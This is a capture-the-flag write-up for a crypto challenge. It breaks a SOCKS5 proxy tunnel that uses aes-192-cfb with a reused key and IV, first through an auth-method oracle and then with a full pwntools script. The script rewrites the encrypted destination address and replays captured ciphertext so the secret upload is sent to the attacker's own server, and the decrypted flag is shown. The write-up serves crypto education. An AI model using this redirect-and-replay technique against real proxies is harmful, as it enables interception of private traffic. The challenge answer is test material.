Personal Proxy [crypto]

Personal Proxy

To access the internet I setup a personal socks proxy using open-source software, and a tunnel with strong password is used to make it secure.

Here is my proxy config file and a network traffic captured when uploading my secret file to personal storage center. I do not believe anyone could read those encrypted bytes.

NOTE: Bruteforce NOT required!!! Please be gentle.

We are provided realworldctf2021_personalproxy.zip

Recon

The challenge authors are hosting a "ShadowTunnel" instance on 13.52.88.46:50000. The code can be found here:

From the Dockerfile, we know that connections are routed to 127.0.0.1:61080, which is a Dante Socks5 proxy daemon.

The challenge gives us a .pcap and the description mentions "network traffic captured when uploading my secret file to personal storage center", so the contents of this "secret file" is most likely the flag, but we don't know the network protocol involved.

  • We don't know the password to ShadowTunnel listening on :50000 so we can't connect to it.
  • We might be able to replay the network data from the .pcap
  • The traffic contains (at least) a Socks handshake

Attack ideas

Replay attack w/ modifications to ciphertext

It may be possible to get the proxy to proxy the exact stream to a machine that we control. So the idea would be to:

  1. Modify the ciphertext (from inspecting the source we know that it is aes-192-cfb so we have some control on how it decrypts) so that the IP address in the SOCKS5 handshake is one we control.
  2. Replay the first TCP flow in the pcap with the modified ciphertext overlayed on it.

(Quick note regarding 1. CFB XORs plaintext with AES output to produce the final ciphertext for a given block. This means that if you know the plaintext for that block, you can XOR some carefully chosen bytes into the ciphertext to produce a different plaintext after decryption! The caveat is that due to the way CFB works, the block after it will turn into garbage upon decryption.)

This will lead to a single corrupted block after the block that we modify, which may, however, not be really an issue for us. We need two conditions to clear this:

  1. We can somehow infer or guess the original IP address the connection was made out to - that is the IP address of the "personal storage server"
  2. SOCKS allows us to send arbitrary data after the handshake and would not cause us grief in terms of protocol metadata. Now if it would allow us to simply build a TCP stream, it may basically allow us to do what we want (spoiler: it turns out SOCKS doesn't care what you send after the handshake)

So we set about doing this. First we extracted the encrypted TCP streams from the pcap. From analysis, we notice that the server/client handshake fit entirely in the first ciphertext block:

   | AUTH | |       CONNREQ     |  |     AFTER     |
C: 7805cba2  092b82ceeb89060ae06c   7ec2f5a654c86b20842b791c1a53a60938320f6854f6aca247b925c630db5de0ed ...
S: 7807      cea30c2b2eda2b239cf1   b7787add84f00cd68875511996a4e50545fcb39eaec1dbe067c9b8c2976e199cc5 ...

CC_1 = 7805cba2092b82ceeb89060ae06c7ec2
CS_1 = 7807cea30c2b2eda2b239cf1b7787add

FULL FIRST BLOCK IS HANDSHAKE + CONN INFO + SOME DATA AFTER
Keep in mind that BOUND IP is also returned in the CONNREQ reply

Now here's an interesting observation: we initially thought that the client and server would use different key/iv pairs for encrypting their sending streams, but based on the above, it looks like they're reusing the key/IV! This is important because it means that if we can guess enough bytes of the server's response to the client, we can then use that to decrypt part of the client stream.

Can we get danted to give us some info back on a bad IP address guess and therefore guess the original IP address in that fashion? We turned to Wikipedia to tell us what a SOCKS5 handshake looks like.

A client starts the handshake by sending 0x05 to the server (for SOCKS ver. 5), followed by 1 byte denoting the number of auth methods it's going to propose, followed by that many auth method identifiers (each 1 byte).

A common first message is 05020001, supporting auth methods 00 and 01, whatever they are (something like no auth and user/pw iirc).

The server then responds with the SOCKS version, and a 1-byte status code, where 00 means all is well. So the 'success' response is 0500.

Then, the client does a connection request, which Wikipedia explains quite concisely:

Client connection request   VER     CMD     RSV     DSTADDR     DSTPORT
Byte Count  1   1   1   Variable    2

VER
    SOCKS version (0x05)
CMD
    command code:

        0x01: establish a TCP/IP stream connection
        0x02: establish a TCP/IP port binding
        0x03: associate a UDP port

RSV
    reserved, must be 0x00
DSTADDR
    destination address, see the address structure above.
DSTPORT
    port number in a network byte order

where DSTADDR is

SOCKS5 address    TYPE    ADDR
Byte Count        1    variable

TYPE
    type of the address. One of:

        0x01: IPv4 address
        0x03: Domain name
        0x04: IPv6 address

ADDR
    the address data that follows. Depending on type:

        4 bytes for IPv4 address
        1 byte of name length followed by 1–255 bytes for the domain name
        16 bytes for IPv6 address

By looking at the length of this message in our pcap, we know that we're dealing with an ipv4 address.

Also, from wiki, response packet to a post auth request from server has the BOUNDADDR returned, in the following format:

VER STATUS   RSV        BNDADDR      BNDPORT
Byte Count  1   1        1          variable     2

VER
    SOCKS version (0x05)
STATUS
    status code:
        0x00: request granted
        0x01: general failure
        0x02: connection not allowed by ruleset
        0x03: network unreachable
        0x04: host unreachable
        0x05: connection refused by destination host
        0x06: TTL expired
        0x07: command not supported / protocol error
        0x08: address type not supported

RSV
    reserved, must be 0x00
BNDADDR
    server bound address, in the "SOCKS5 address" format specified above
BNDPORT
    server bound port number in a network byte order

Damn, SOCKS handshakes are pretty simple!

At this point, we could guess enough of the first block of the server plaintext to obtain the key stream and XOR that with the client plaintext to obtain part of the DESTADDR. While not shown here because we don't have the notes handy, it simply involved us looking at Wikipedia to figure out what the response bytes should be, and xoring that into the ciphertext that we have.

However, this was not enough. We could not obtain the final two bytes of the DESTADDR IP, let alone the port. We needed something a bit better.

Attack

Next we set up a danted SOCKS proxy locally, and looked at the traffic, to see if there was something more that we could guess. During this, we noticed that if we tell dante to expect X auth methods, it then just gobbles up X bytes as long as the one supported method (00) is in there:

from pwn import *

conn = remote('172.17.0.2', 61080)
#VERSION | NR OF AUTH METHODS | AUTH METHOD IDENTIFIERS
conn.send(b'\x05\x04\xff\xff\xff\x00')
#what do we get back :D
r = conn.recv()
print(hexdump(r))

Outputs:

00000000  05 00
00000002

As said, 00 means the request was accepted. Additionally, if we only advertise unsupported auth methods, the server will respond with 0x05ff for FAT FAILURE.

It turns out that we could use this as an oracle for the first client ciphertext block as follows:

  1. If we want to guess byte N of this block, craft a SOCKS5 handshake advertising N-2 auth methods (e.g. 0508 to guess byte 10)
  2. Set all bytes between the NRAUTH byte and N to something else than 0x00 (e.g. 0508 ffff ffff ffff ff)
  3. Now, repeat until the server responds with 0x0500 (acceptance)
    1. Append a byte \(B\) (that you haven't tried yet) to our crafted handshake
    2. XOR our handshake with the keystream to obtain a valid ciphertext
    3. Send this to the server
  4. Once the server replies with 0x0500, we know that the keystream byte at position N must be the byte we just appended, because the plaintext must have turned into 00 (no auth method). All that remains is XORing this with the original ciphertext and voila, there's our plaintext byte.

Long story short (AKA I lost the code), we performed the above oracle attack to obtain the full IP address and port that the client was trying to connect to: 192.168.31.64:8000. Next, we simply spun up a Hetzner cloud box that listened on port 8000, crafted our own handshake that connected to our own IP, and appended remainder of the ciphertext to see those juicy secrets.

Exhibit A: The final attack code:

from pwn import *

CORR = b'\x78\x07'
CT = b'\x7e\xc2\xf5\xa6\x54\xc8\x6b\x20\x84\x2b\x79\x1c\x1a\x53\xa6\x09\x38\x32\x0f\x68\x54\xf6\xac\xa2\x47\xb9\x25\xc6\x30\xdb\x5d\xe0\xed\x48\x9d\xca\x44\xa7\x5b\x3c\xf4\x8c\x14\xc2\x00\xc5\xbf\x2e\xe2\x71\x32\xd8\x02\x90\x5d\xf1\x5f\x4e\xda\x52\x8c\xd7\xe4\x58\x5f\x49\x5c\x22\x40\x25\x05\xd6\x19\xf7\x81\x9b\xaa\x1c\x54\x62\x51\x06\xd5\x76\x7d\x62\xdb\x32\xe2\x44\x08\xf9\x4a\x2c\x44\x30\xdb\x00\x89\x7c\x42\xff\x20\xdb\xa2\xe8\xc6\xcf\x69\x86\xfd\x1f\x1a\xc8\x88\xc1\x94\x6b\xbb\x65\xcd\xc6\x14\x38\xf0\x10\xd5\x32\x62\xf9\x3a\x67\x23\xc4\x56\x8a\xb4\x9b\x97\x41\xca\x8c\x56\xe7\xb8\xaa\x9a\xca\xfe\x5f\xcd\x36\x7b\xd7\x90\xd2\x46\xe4\x24\x60\xb9\x64\x7d\xe8\x84\x4d\x4f\xfd\x57\x30\x44\xa9\xd9\x1d\xa1\xef\xaf\xc8\xe3\xdf\xa6\xfc\xf4\x44\x28\x53\x50\x38\x24\x53\x93\x2b\x04\xf8\x42\x9d\xae\xfb\x58\x46\xd4\xc2\x01\x9c\xfe\xe0\xf1\x11\x8b\xa3\xe8\xbe\x21\xdd\xc0\xee\xb3\x63\x22\xa6\x91\x3e\x6f\x60\xbd\x2b\xe5\x9a\x62\xf4\x40\x89\x35\x99\xbf\xc3\x19\x5e\x25\x78\xae\x1f\xf2\x60\x88\x72\x6c\xe5\x73\x9e\x90\x40\x71\x01\x38\xae\xfe\xe3\x4c\x27\x55\x2e\x8e\x0f\x62\xa6\xc8\xd3\x05\x42\xa4\x30\x77\xba\xef\x9a\x17\x2a\x3e\x0b\xab\xc9\xaf\x33\x1d\x17\xe0\xc4\x70\x4d\x9f\x0c\x76\x42\xd4\x60\x30\x08\xc1\x99\x00\x21\xb9\xa5\xbd\x6b\x89\xc8\xc0\x9d\x60\xd8\xe7\x5a\xf0\x21\x09\x74\x09\x87\xf5\x8c\xae\x47\x13\xca\xd9\x2f\xef\x9c\x0c\xcc\x5a\x09\x45\x22\x90\x4e\xda\x75\x10\xbf\x94\x27\x6e\xef\x5c\xc8\x73\x62\xa5\x64\x77\xba\xe3\x80\x33\x69\xea\x4f\xf8\x1c\xd4\xdf\x24\x74\x82\x76\xa5\xa1\x77\x68\x41\xf4\x30\x93\x91\x52\x2e\xbf\x0f\xa2\x22\xf2\x0e\x2f\xe3\x3d\x6b\x81\xf3\x71\xe3\x54\x79\xba\x03\xa4\xd6\xb5\x39\xc4\x92\xaa\x92\xab\xda\x62\xcb\xb0\x16\x73\x04\xf2\x82\x6c\x03\x07\xb5\x6b\xa8\x51\x31\x63\xe4\x67\x78'

PT = b'\x05\x02\x00\x01\x05\x01\x00\x01\xc0\xa8\x1f\xef\x1f\x40'
STREAM = xor(b'\x78\x05\xcb\xa2\x09\x2b\x82\xce\xeb\x89\x06\x0a\xe0\x6c',
             b'\x05\x02\x00\x01\x05\x01\x00\x01\xc0\xa8\x1f\xef\x1f\x40')


#inject our own ip
target_ip = b'\x31\x0c\x2e\x33' #49.12.46.51
modded = PT[:8] + target_ip + PT[12:]#b'\x00\x35'

mod_ct = xor(modded, STREAM)
print("Modded payload = ")
print(hexdump(mod_ct))

conn = remote('13.52.88.46', 50000)
print("Connected")

#send socks header
conn.send(mod_ct[:4]) # first 4 bytes is socks version + auth methods etc

#Did we get accepted? (should be 78 07)
r = conn.recv()
print(hexdump(r))

print("sending remainder of modded thingy")
print(hexdump(mod_ct[4:]))
conn.send(mod_ct[4:])

#The response to this should be 10 bytes long or so
r = conn.recv()
print(hexdump(r))

print("Time to send the ciphertext!!")
conn.send(CT)

print("byeeeeeeeeeeeee")
conn.close()

Flag

root@debian-2gb-fsn1-1:~# python sockserv.py
13.52.88.46 wrote:
0000   50 4F 87 C6 A0 EE BA 29  C4 70 FE 56 03 5F 91 0F   PO.....).p.V._..
0016   5C C9 6F 73 74 3A 20 31  39 32 2E 31 36 38 2E 33   \.ost: 192.168.3
0032   31 2E 32 33 39 3A 38 30  30 30 0D 0A 55 73 65 72   1.239:8000..User
0048   2D 41 67 65 6E 74 3A 20  63 75 72 6C 2F 37 2E 37   -Agent: curl/7.7
0064   34 2E 30 0D 0A 41 63 63  65 70 74 3A 20 2A 2F 2A   4.0..Accept: */*
0080   0D 0A 43 6F 6E 74 65 6E  74 2D 4C 65 6E 67 74 68   ..Content-Length
0096   3A 20 32 33 36 0D 0A 43  6F 6E 74 65 6E 74 2D 54   : 236..Content-T
0112   79 70 65 3A 20 6D 75 6C  74 69 70 61 72 74 2F 66   ype: multipart/f
0128   6F 72 6D 2D 64 61 74 61  3B 20 62 6F 75 6E 64 61   orm-data; bounda
0144   72 79 3D 2D 2D 2D 2D 2D  2D 2D 2D 2D 2D 2D 2D 2D   ry=-------------
0160   2D 2D 2D 2D 2D 2D 2D 2D  2D 2D 2D 32 61 32 64 39   -----------2a2d9
0176   30 33 63 36 35 35 64 35  64 31 38 0D 0A 0D 0A 2D   03c655d5d18....-
0192   2D 2D 2D 2D 2D 2D 2D 2D  2D 2D 2D 2D 2D 2D 2D 2D   ----------------
0208   2D 2D 2D 2D 2D 2D 2D 2D  2D 32 61 32 64 39 30 33   ---------2a2d903
0224   63 36 35 35 64 35 64 31  38 0D 0A 43 6F 6E 74 65   c655d5d18..Conte
0240   6E 74 2D 44 69 73 70 6F  73 69 74 69 6F 6E 3A 20   nt-Disposition:
0256   66 6F 72 6D 2D 64 61 74  61 3B 20 6E 61 6D 65 3D   form-data; name=
0272   22 66 69 6C 65 22 3B 20  66 69 6C 65 6E 61 6D 65   "file"; filename
0288   3D 22 66 6C 61 67 2E 74  78 74 22 0D 0A 43 6F 6E   ="flag.txt"..Con
0304   74 65 6E 74 2D 54 79 70  65 3A 20 74 65 78 74 2F   tent-Type: text/
0320   70 6C 61 69 6E 0D 0A 0D  0A 52 57 43 54 46 7B 41   plain....RWCTF{A
0336   45 41 44 5F 31 73 5F 61  5F 6D 75 73 74 5F 77 68   EAD_1s_a_must_wh
0352   65 6E 5F 63 68 30 30 73  31 6E 67 5F 63 31 70 68   en_ch00s1ng_c1ph
0368   65 72 2D 6D 65 74 68 30  64 7D 0A 0D 0A 2D 2D 2D   er-meth0d}...---
0384   2D 2D 2D 2D 2D 2D 2D 2D  2D 2D 2D 2D 2D 2D 2D 2D   ----------------
0400   2D 2D 2D 2D 2D 2D 2D 32  61 32 64 39 30 33 63 36   -------2a2d903c6
0416   35 35 64 35 64 31 38 2D  2D                        55d5d18--

RWCTF{AEAD_1s_a_must_when_ch00s1ng_c1pher-meth0d}